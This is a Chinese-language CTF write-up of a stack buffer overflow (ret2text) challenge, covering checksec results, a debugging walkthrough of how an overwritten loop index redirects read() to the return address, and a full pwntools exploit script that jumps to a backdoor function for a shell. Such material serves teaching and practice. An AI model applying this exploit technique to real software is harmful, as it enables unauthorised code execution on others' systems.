仅供个人学习参考

题目附件:https://raw.githubusercontent.com/C17zz/Pages/main/Img/stack

基本流程

checksec一下
1
nx打开,没有pie,没有canary
转ida
1
init()初始化作用,剩下一个vuln函数
1
可以看到用for循环加read函数往s数组写入,但是for循环的次数由用户控制,这就存在缓冲区溢出漏洞,并且存在backdoor函数,是一个ret2text模型
1

我们先试着打看看
会发现打不通
1

  打不通有两种情况,一种是没有执行到backdoor,一种是执行到了但是因为栈对齐的问题导致system函数没有正常执行。

动态调试

这个时候就要进入动态调试环节,我们先把断点下在vuln结束的ret处
1
然后发现填入的数据并没有覆盖到rbp+8处,说明read函数有问题
于是我们再将断点下在call read处
1
然后continue,直到在偏移(相对于数组起始地址)0x1c处,我们看到在此时read的汇编是这样
1
read写入的地址存储在rsi,rsi由rax赋值给它,rax=rax+rdx,即[rbp - 4]+[rbp - 0x20],而此时我们发现[rbp - 4]的地址正是偏移(相对于数组起始地址)0x1c处,所以0x1c处填入的数据会改变read写入的地址,于是我们的payload需要做出改变,在0x1c处填入’\x27’,从而让read写入的地址跳转到[rbp + 8],再补上backdoor的地址就可以了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import*
io = process("./stack")
context.arch = "amd64"
context.terminal = ['tmux','splitw','-h']

context.log_level = "debug"

io.recvuntil("size: ")
io.sendline(str(200))
io.recvuntil("> ")
backdoor_addr = 0x4012EB
payload = cyclic(0x1c)+b'\x27'+p64(backdoor_addr)
#gdb.attach(io,'b *0x04012E5')
io.sendline(payload)
#pause()
io.interactive()